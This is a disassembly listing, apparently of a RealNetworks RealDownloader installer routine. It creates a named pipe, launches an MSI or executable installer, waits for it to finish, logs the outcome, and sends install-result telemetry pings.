mov byte [ebp - 4], 0x41
call fcn.00472740
cmp dword [esi + 0xa54], 0
je 0x432327
push str.install_thread:_here7
lea ecx, [ebp - 0x160]
call fcn.00472760
lea eax, [ebp - 0x160]
push eax
mov byte [ebp - 4], 0x42
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x160]
mov byte [ebp - 4], 0x41
call fcn.00472740
xor edi, edi
push edi
push edi
mov eax, 0x104
push eax
push eax
push 0xff
push 6
push 3
push str..pipe_realnetworks.installer.pipe
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x60], eax
cmp eax, 0xffffffff
je 0x433306
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x43229b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x43332b
lea eax, [ebx + 0xbc]
push 0x4e1380
push eax
mov dword [ebp - 0xf0], edi
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x4322ec
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x2e0]
push 0x4cd9cc
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x45
call fcn.004727f0
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 0x41
call fcn.00472740
cmp byte [ebp - 0x39], 0xff
lea eax, [ebp - 0x40]
jne 0x4322f8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x40]
call fcn.004724c0
inc eax
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x30], 1
xor edi, edi
jmp 0x43293c
push str.install_thread:_here8
lea ecx, [ebp - 0x170]
call fcn.00472760
lea eax, [ebp - 0x170]
push eax
mov byte [ebp - 4], 0x46
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x170]
mov byte [ebp - 4], 0x41
call fcn.00472740
push 3
lea eax, [ebp - 0x240]
push eax
mov ecx, edi
call fcn.00472ed0
push 0x4d2e90
push eax
mov byte [ebp - 4], 0x47
call fcn.0040d57d
pop ecx
pop ecx
lea ecx, [ebp - 0x240]
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x41
call fcn.00472740
cmp byte [ebp - 0xd], 0
je 0x4328aa
push str.install_thread:_msi_install
lea ecx, [ebp - 0x180]
call fcn.00472760
lea eax, [ebp - 0x180]
push eax
mov byte [ebp - 4], 0x48
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x41
call fcn.00472740
xor edi, edi
push edi
push 2
call sub.msi.dll_MsiSetPropertyW
push esi
push 0x20034a3
push 0x428146
mov dword [esi + 0xa0c], edi
call sub.msi.dll_MsiSetInstallLevel
lea ecx, [ebp - 0x54]
mov dword [0x4fb6ec], eax
call fcn.004724b0
mov dword [ebp - 0x2c], edi
push 0x4d2e70
lea edi, [ebx + 0x3c]
push edi
mov byte [ebp - 4], 0x49
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x43270a
lea eax, [esi + 0x15c]
push eax
lea ecx, [ebp - 0xe0]
call fcn.004726a0
lea eax, [esi + 0x8c]
push eax
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x4a
call fcn.004726a0
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x4b
call fcn.0040d513
test al, al
je 0x43245b
push 0x4d2e6c
lea ecx, [ebp - 0xe0]
call fcn.00472890
lea ecx, [ebp - 0xf8]
call fcn.0040d513
test al, al
je 0x43247a
push 0x4d2e6c
lea ecx, [ebp - 0xf8]
call fcn.00472890
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x2fc]
push str._DISTCODE
push eax
call fcn.00473090
push str._ORIGINCODE
push eax
lea eax, [ebp - 0x250]
push eax
mov byte [ebp - 4], 0x4c
call fcn.00473040
lea ecx, [esi + 0x84]
push ecx
push eax
lea eax, [ebp - 0x2b0]
push eax
mov byte [ebp - 4], 0x4d
call fcn.00472ff0
add esp, 0x24
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x4e
call fcn.004727f0
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0x4d
call fcn.00472740
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 0x4c
call fcn.00472740
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 0x4b
call fcn.00472740
push str.DefInstallPath
lea ecx, [ebp - 0x120]
call fcn.00472760
push 0x4d2e70
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x4f
call fcn.00472760
lea eax, [ebp - 0x190]
push eax
lea ecx, [esi + 0x5a8]
mov byte [ebp - 4], 0x50
call fcn.00417010
lea ecx, [ebp - 0x120]
push ecx
mov ecx, eax
call fcn.004149b0
test eax, eax
lea ecx, [ebp - 0x190]
setne byte [ebp - 0xd]
mov byte [ebp - 4], 0x4f
call fcn.00472740
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0x4b
call fcn.00472740
cmp byte [ebp - 0xd], 0
je 0x432650
push str.DefInstallPath
lea ecx, [ebp - 0x138]
call fcn.00472760
push 0x4d2e70
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x51
call fcn.00472760
lea eax, [ebp - 0x168]
push eax
lea ecx, [esi + 0x5a8]
mov byte [ebp - 4], 0x52
call fcn.00417010
lea ecx, [ebp - 0x138]
push ecx
mov ecx, eax
call fcn.00415df0
push eax
lea ecx, [ebp - 0x188]
call fcn.004726a0
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x54
call fcn.00472740
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0x55
call fcn.00472740
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1b0]
push str._INSTALLDIR_
push eax
call fcn.00473090
push 0x4e1804
push eax
lea eax, [ebp - 0x260]
push eax
mov byte [ebp - 4], 0x56
call fcn.00473040
add esp, 0x18
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x57
call fcn.00472ca0
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x56
call fcn.00472740
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x55
call fcn.00472740
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 0x4b
call fcn.00472740
push str._system_appdata_RealNetworks
lea ecx, [ebp - 0x148]
call fcn.00472760
push 0
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x1b8]
push eax
mov byte [ebp - 4], 0x58
call fcn.004109b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x59
call fcn.004727f0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x58
call fcn.00472740
cmp byte [ebp - 0x4d], 0xff
lea eax, [ebp - 0x54]
jne 0x4326a4
mov eax, dword [ebp - 0x54]
push eax
call fcn.004bbd7b
lea ecx, [ebp - 0x54]
mov dword [esp], str.RealDownloader
call fcn.00472bc0
cmp byte [ebp - 0x4d], 0xff
lea eax, [ebp - 0x54]
jne 0x4326c5
mov eax, dword [ebp - 0x54]
push eax
call fcn.004bbd7b
lea ecx, [ebp - 0x54]
mov dword [esp], str.RealDownloader_log.txt
call fcn.00472bc0
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x2c], 0xe97
mov byte [ebp - 4], 0x4b
call fcn.00472740
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x4a
call fcn.00472740
lea ecx, [ebp - 0xe0]
jmp 0x4327b6
push str._system_appdata_RealNetworks
lea ecx, [ebp - 0x178]
call fcn.00472760
push 0
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x1c8]
push eax
mov byte [ebp - 4], 0x5a
call fcn.004109b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x5b
call fcn.004727f0
lea ecx, [ebp - 0x1c8]
mov byte [ebp - 4], 0x5a
call fcn.00472740
cmp byte [ebp - 0x4d], 0xff
lea eax, [ebp - 0x54]
jne 0x43275e
mov eax, dword [ebp - 0x54]
push eax
call fcn.004bbd7b
pop ecx
lea ecx, [ebp - 0x100]
call fcn.004724b0
push 1
mov ecx, edi
mov byte [ebp - 4], 0x5c
call fcn.004731d0
push eax
lea eax, [ebp - 0x100]
push str.DLP__s_log.txt
push eax
call fcn.00473410
add esp, 0xc
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x54]
call fcn.00472ca0
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x5a
call fcn.00472740
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 0x49
call fcn.00472740
cmp byte [ebp - 0x4d], 0xff
lea eax, [ebp - 0x54]
jne 0x4327cb
mov eax, dword [ebp - 0x54]
push 2
push eax
push dword [ebp - 0x2c]
call sub.msi.dll_MsiGetComponentPathA
lea edi, [ebx + 0x7c]
push edi
lea eax, [ebp - 0x1e8]
push str.msiexec__i
push eax
call fcn.00473090
lea ecx, [ebp - 0x68]
push ecx
push eax
lea eax, [ebp - 0x1d8]
push eax
mov byte [ebp - 4], 0x5d
call fcn.00472ff0
add esp, 0x18
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5e
call fcn.004727f0
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x5d
call fcn.00472740
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x49
call fcn.00472740
cmp byte [ebp - 0x61], 0xff
lea eax, [ebp - 0x68]
jne 0x43283a
mov eax, dword [ebp - 0x68]
cmp byte [edi + 7], 0xff
jne 0x432842
mov edi, dword [edi]
push eax
push edi
call sub.msi.dll_MsiOpenDatabaseA
test eax, eax
jne 0x43285a
inc eax
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
jmp 0x432869
xor ecx, ecx
inc ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x70], eax
push str.install_thread:_end_msi_install
lea ecx, [ebp - 0x158]
call fcn.00472760
lea eax, [ebp - 0x158]
push eax
mov byte [ebp - 4], 0x5f
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x49
call fcn.00472740
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x41
call fcn.00472740
jmp 0x432320
push str.install_thread:_other_install__exe_
lea ecx, [ebp - 0x198]
call fcn.00472760
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 4], 0x60
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x41
call fcn.00472740
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x40]
push 1
push eax
call fcn.0040dea4
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4328fb
mov dword [ebp - 0x30], 1
jmp 0x432907
mov dword [ebp - 0x30], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x4c], eax
push str.install_thread:_end_other_install__exe_
lea ecx, [ebp - 0x128]
call fcn.00472760
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 4], 0x61
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0x41
call fcn.00472740
cmp dword [ebp - 0x30], edi
je 0x432979
lea eax, [ebx + 0x4c]
push str.main
push eax
call fcn.0040d5c5
pop ecx
pop ecx
test al, al
je 0x432979
push ecx
push ecx
lea eax, [ebx + 0x3c]
mov ecx, esp
mov dword [ebp - 0x58], esp
push eax
call fcn.004726a0
lea eax, [ebp - 0x1f8]
push eax
mov ecx, esi
call fcn.004281a2
lea ecx, [ebp - 0x1f8]
call fcn.00472740
lea eax, [ebx + 0xbc]
push 0x4e1380
push eax
call fcn.0040d5c5
pop ecx
pop ecx
test al, al
je 0x432b22
push str.install_thread:_wait_for_install_to_complete
lea ecx, [ebp - 0xc8]
call fcn.00472760
lea eax, [ebp - 0xc8]
push eax
mov byte [ebp - 4], 0x62
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x41
call fcn.00472740
cmp dword [ebp - 0x30], edi
je 0x432b13
push 3
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebx + 0x7c]
call fcn.00472ed0
push 0x4d2e90
push eax
mov byte [ebp - 4], 0x63
call fcn.0040d57d
pop ecx
pop ecx
lea ecx, [ebp - 0x208]
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x41
call fcn.00472740
cmp byte [ebp - 0xd], 0
je 0x432a14
cmp dword [esi + 0xa0c], edi
je 0x4329cd
jmp 0x432b13
cmp dword [ebp - 0x6c], edi
je 0x432a53
push 0x3e8
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x432ab4
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x6c]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6c], edi
jmp 0x432b13
cmp dword [ebp - 0x60], edi
je 0x432b13
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x58]
push eax
push edi
push dword [ebp - 0x60]
mov dword [ebp - 0x58], edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
cmp dword [ebp - 0x58], edi
je 0x432ad0
push edi
push edi
lea eax, [ebp - 0x8c]
push eax
push 0xc
lea eax, [ebp]
push eax
push dword [ebp - 0x60]
mov dword [ebp - 0x8c], edi
mov dword [ebp], edi
mov dword [ebp + 4], edi
mov dword [ebp + 8], edi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x432aa9
cmp dword [ebp - 0x8c], edi
ja 0x432ad5
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebx + 0x54]
call fcn.0040d513
xor ecx, ecx
test al, al
setne cl
push ecx
mov ecx, esi
call fcn.00423e62
jmp 0x4329cd
mov dword [ebp - 0x5c], edi
jmp 0x432b13
push edi
lea eax, [ebp - 0x8c]
push eax
push 0xc
lea eax, [ebp]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp + 4], edi
mov dword [ebp - 0x30], 1
setne al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x70], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 0xa18]
mov dword [ebx + 0x30], eax
lea eax, [ebx + 0x3c]
push eax
lea eax, [ebp - 0x48]
push str.actioninstalledpkgvalue
push eax
call fcn.00473090
add esp, 0xc
mov byte [ebp - 4], 0x64
cmp dword [ebp - 0x30], edi
je 0x43319f
push str.install_thread:_executed
lea ecx, [ebp - 0x98]
call fcn.00472760
lea eax, [ebp - 0x98]
push eax
mov byte [ebp - 4], 0x65
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x64
call fcn.00472740
lea edi, [ebx + 0x34]
mov ecx, edi
call fcn.0040d513
test al, al
je 0x432b87
lea ecx, [ebp - 0x48]
jmp 0x432ba5
lea eax, [ebp - 0x2e4]
push eax
push 0
push 1
push edi
lea ecx, [esi + 0x238]
call fcn.00459d96
lea ecx, [ebp - 0x48]
test eax, eax
js 0x432bb8
push str.successtrue
call fcn.00472bc0
mov dword [ebx + 0x10], 1
jmp 0x432bc2
push str.successfalse
call fcn.00472bc0
push str.exec_valuelaunch_success
lea ecx, [ebp - 0x48]
call fcn.00472bc0
cmp dword [ebp - 0x2c], 0
je 0x432cf0
lea ecx, [ebp - 0xe8]
call fcn.004724b0
push dword [ebp - 0x70]
lea eax, [ebp - 0xe8]
push str.return_value_d
push eax
mov byte [ebp - 4], 0x66
call fcn.00473410
add esp, 0xc
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x48]
call fcn.00472ca0
cmp dword [ebp - 0x70], 0
je 0x432cdf
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004726a0
push str.pkg_downloaded
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x67
call fcn.00472bc0
lea edi, [esi + 0x9e0]
mov ecx, edi
call fcn.0040d513
test al, al
je 0x432c56
mov edi, str.none
jmp 0x432c5e
cmp byte [edi + 7], 0xff
jne 0x432c5e
mov edi, dword [edi]
push edi
lea ecx, [ebp - 0xd0]
call fcn.00472bc0
push 3
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebx + 0x7c]
xor edi, edi
call fcn.00472ed0
push 0x4d2e90
push eax
mov byte [ebp - 4], 0x68
call fcn.0040d57d
pop ecx
pop ecx
lea ecx, [ebp - 0x218]
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x67
call fcn.00472740
cmp byte [ebp - 0xd], 0
je 0x432ca7
inc edi
push edi
lea eax, [ebp - 0xd0]
push eax
push dword [ebx + 0xc4]
lea eax, [ebx + 0x3c]
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0x58], esp
push eax
call fcn.004726a0
lea ecx, [esi + 0x238]
call fcn.00457271
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x66
call fcn.00472740
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 0x64
call fcn.00472740
jmp 0x432cfd
push str.return_valueunknown
lea ecx, [ebp - 0x48]
call fcn.00472bc0
lea ecx, [ebp - 0x18]
call fcn.004724b0
mov eax, dword [ebx + 0x2c]
sub eax, dword [ebx + 0x28]
mov edi, 0x3e8
xor edx, edx
mov ecx, edi
div ecx
mov byte [ebp - 4], 0x69
push eax
lea eax, [ebp - 0x18]
push str.dltime_d
push eax
call fcn.00473410
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x48]
call fcn.00472ca0
lea ecx, [ebp - 0xa8]
call fcn.004724b0
mov eax, dword [ebx + 0x30]
xor edx, edx
div edi
mov byte [ebp - 4], 0x6a
push eax
lea eax, [ebp - 0xa8]
push str.installtime_d
push eax
call fcn.00473410
add esp, 0xc
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x48]
call fcn.00472ca0
lea eax, [ebx + 0xac]
push str.player
push eax
call fcn.0040d5c5
pop ecx
pop ecx
test al, al
je 0x432db9
lea edi, [ebx + 0xb4]
push str.minimized
push edi
call fcn.0040d57d
pop ecx
pop ecx
test al, al
jne 0x432db1
push str.restore
push edi
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x432db9
push ebx
mov ecx, esi
call fcn.00425aed
mov ecx, esi
call fcn.00427672
cmp dword [ebx + 0x10], 0
je 0x43317d
lea ecx, [ebx + 0x54]
call fcn.0040d513
test al, al
jne 0x43317d
lea edi, [esi + 0x434]
mov ecx, edi
call fcn.0040d513
test al, al
jne 0x43317d
mov ecx, esi
call fcn.0042419b
test eax, eax
je 0x43317d
push edi
lea eax, [ebp - 0x110]
push eax
mov ecx, esi
call fcn.004238b9
lea eax, [esi + 0x43c]
push eax
lea eax, [ebp - 0x38]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x6b
call fcn.004238b9
lea eax, [esi + 0x44c]
push 0x4d2c78
push eax
mov byte [ebp - 4], 0x6c
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x432f7d
lea ecx, [ebp - 0x38]
call fcn.0040d513
test al, al
je 0x432e82
push 0x4cd9ca
lea ecx, [ebp - 0xa0]
call fcn.00472760
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x110]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x6d
call fcn.0042421c
lea ecx, [ebp - 0xa0]
jmp 0x433159
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x228]
push str.Cookie:
push eax
call fcn.00473090
add esp, 0xc
push eax
lea eax, [ebp - 0x110]
push eax
mov ecx, esi
mov byte [ebp - 4], 0x6e
call fcn.0042421c
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 0x6c
call fcn.00472740
push 1
push 0x4cf28c
push 0x4cdcb8
lea ecx, [ebp - 0x38]
call fcn.004736d0
push 1
push 0x4cf9a4
push 0x4e1ab8
lea ecx, [ebp - 0x38]
call fcn.004736d0
push edi
lea eax, [ebp - 0x268]
push eax
mov ecx, esi
call fcn.004238b9
push eax
lea eax, [ebp - 0x258]
push str.actionsentpingvalue
push eax
mov byte [ebp - 4], 0x6f
call fcn.00473090
push 0x4d2c48
push eax
lea eax, [ebp - 0x248]
push eax
mov byte [ebp - 4], 0x70
call fcn.00473040
lea ecx, [ebp - 0x38]
push ecx
push eax
lea eax, [ebp - 0x238]
push eax
mov byte [ebp - 4], 0x71
call fcn.00472ff0
add esp, 0x24
mov edx, dword [esi]
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x72
call dword [edx + 0x10]
lea ecx, [ebp - 0x238]
mov byte [ebp - 4], 0x71
call fcn.00472740
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0x70
call fcn.00472740
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0x6f
call fcn.00472740
lea ecx, [ebp - 0x268]
jmp 0x433159
lea eax, [esi + 0x44c]
push str.post
push eax
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x433162
lea eax, [esi + 0x454]
push eax
lea eax, [ebp - 0x78]
push eax
mov ecx, esi
call fcn.004238b9
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x73
call fcn.004212cb
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x74
call fcn.0040d513
test al, al
je 0x432fd6
push str.none
lea ecx, [ebp - 0x38]
call fcn.00472890
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x278]
push str.Cookie:
push eax
call fcn.00473090
add esp, 0xc
lea ecx, [esi + 0x464]
push ecx
lea ecx, [esi + 0x45c]
push ecx
push eax
lea eax, [ebp - 0x78]
push eax
push edi
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x75
call fcn.00421338
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x74
call fcn.00472740
lea ecx, [ebp - 0x78]
call fcn.0040d513
test al, al
je 0x433039
push str.none
lea ecx, [ebp - 0x78]
call fcn.00472890
push 1
push 0x4cf28c
push 0x4cdcb8
lea ecx, [ebp - 0x38]
call fcn.004736d0
push 1
push 0x4cf9a4
push 0x4e1ab8
lea ecx, [ebp - 0x38]
call fcn.004736d0
push edi
lea eax, [ebp - 0x118]
push eax
mov ecx, esi
call fcn.004238b9
push eax
lea eax, [ebp - 0x108]
push str.actionsentpingvalue
push eax
mov byte [ebp - 4], 0x76
call fcn.00473090
push 0x4d2c48
push eax
lea eax, [ebp - 0x2b8]
push eax
mov byte [ebp - 4], 0x77
call fcn.00473040
lea ecx, [ebp - 0x38]
push ecx
push eax
lea eax, [ebp - 0x2a8]
push eax
mov byte [ebp - 4], 0x78
call fcn.00472ff0
push 0x4d2c3c
push eax
lea eax, [ebp - 0x298]
push eax
mov byte [ebp - 4], 0x79
call fcn.00473040
lea ecx, [ebp - 0x78]
push ecx
push eax
lea eax, [ebp - 0x288]
push eax
mov byte [ebp - 4], 0x7a
call fcn.00472ff0
add esp, 0x3c
mov edx, dword [esi]
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x7b
call dword [edx + 0x10]
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 0x7a
call fcn.00472740
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x79
call fcn.00472740
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 0x78
call fcn.00472740
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x77
call fcn.00472740
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x76
call fcn.00472740
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x74
call fcn.00472740
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x73
call fcn.004215e4
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x6c
call fcn.00472740
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x6b
call fcn.00472740
lea ecx, [ebp - 0x110]
mov byte [ebp - 4], 0x6a
call fcn.00472740
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x69
call fcn.00472740
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x64
call fcn.00472740
xor edi, edi
jmp 0x43324e
push str.install_thread:_not_executed
lea ecx, [ebp - 0x20]
call fcn.00472760
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 0x7c
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x64
call fcn.00472740
push str.successfalse
lea ecx, [ebp - 0x48]
call fcn.00472bc0
mov eax, dword [ebp - 0x4c]
cmp eax, 0x20
ja 0x433213
cmp eax, 0x20
je 0x43320c
dec eax
dec eax
je 0x433205
dec eax
je 0x4331fe
dec eax
dec eax
je 0x4331f7
sub eax, 3
jne 0x433225
push str.exec_valuenot_enough_memory
jmp 0x433246
push str.exec_valueaccess_denied
jmp 0x433246
push str.exec_valuepath_not_found
jmp 0x433246
push str.exec_valuefile_not_found
jmp 0x433246
push str.exec_valuesharing_violation
jmp 0x433246
sub eax, 0x483
je 0x433241
dec eax
je 0x43323a
dec eax
je 0x433233
sub eax, 0x42
je 0x43322c
push str.exec_valueunknown_error
jmp 0x433246
push str.exec_valueuser_canceled
jmp 0x433246
push str.exec_valuedll_not_found
jmp 0x433246
push str.exec_valuedde_fail
jmp 0x433246
push str.exec_valueno_association_found
lea ecx, [ebp - 0x48]
call fcn.00472bc0
mov eax, dword [esi]
push edi
lea ecx, [ebp - 0x48]
push ecx
mov ecx, esi
call dword [eax + 0x10]
cmp dword [ebp - 0x30], edi
je 0x433341
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x41
call fcn.00472740
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x3c
call fcn.00472740
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x29
call fcn.00472740
mov eax, dword [esi + 0xa14]
add eax, dword [esi + 0xa04]
lea ecx, [ebp - 0x88]
mov dword [esi + 0xa08], eax
mov byte [ebp - 4], 1
call fcn.00472740
inc dword [ebp - 0x80]
cmp dword [ebp - 0x5c], 0
jne 0x431820
jmp 0x4333d0
mov byte [ebp - 4], 0x29
call fcn.00472740
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 1
call fcn.00472740
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00473d70
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x10c]
xor ecx, ebp
call fcn.004944f9
add ebp, 0x110
leave
ret
push str.actionerrorvaluepipe_creation
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x5c], edi
call fcn.00472760
mov byte [ebp - 4], 0x43
mov eax, dword [esi]
push edi
lea ecx, [ebp - 0x20]
push ecx
mov ecx, esi
call dword [eax + 0x10]
lea ecx, [ebp - 0x20]
jmp 0x4333a0
push str.actionerrorvaluepipe_connection
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x5c], edi
call fcn.00472760
mov byte [ebp - 4], 0x44
jmp 0x43331a
add ebx, 0x3c
push ebx
lea eax, [ebp - 0x108]
push str.actionerrorvalue
push eax
call fcn.00473090
push str._exec
push eax
lea eax, [ebp - 0x118]
push eax
mov byte [ebp - 4], 0x7d
call fcn.00473040
add esp, 0x18
mov edx, dword [esi]
push edi
push eax
mov ecx, esi
mov byte [ebp - 4], 0x7e
call dword [edx + 0x10]
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0x7d
call fcn.00472740
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x64
call fcn.00472740
mov dword [ebp - 0x5c], edi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x41
call fcn.00472740
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x3c
call fcn.00472740
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x29
call fcn.00472740
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 1
call fcn.00472740
push str.install_thread:_near_end
lea ecx, [ebp - 0x20]
call fcn.00472760
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 0x7f
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00472740
xor edi, edi
cmp dword [ebp - 0x5c], edi
je 0x43345c
push str.setting_m_bInstalled__TRUE
lea ecx, [ebp - 0x20]
call fcn.00472760
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 0x80
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.00472740
mov dword [esi + 0x48], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0x90]
push edi
mov dword [esi + 0x9f4], eax
call fcn.0041e492
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00473d70
mov eax, esi
jmp 0x4332e3
mov ecx, dword [ebp - 0x90]
push edi
call fcn.0041e492
mov ecx, dword [ebp - 0x90]
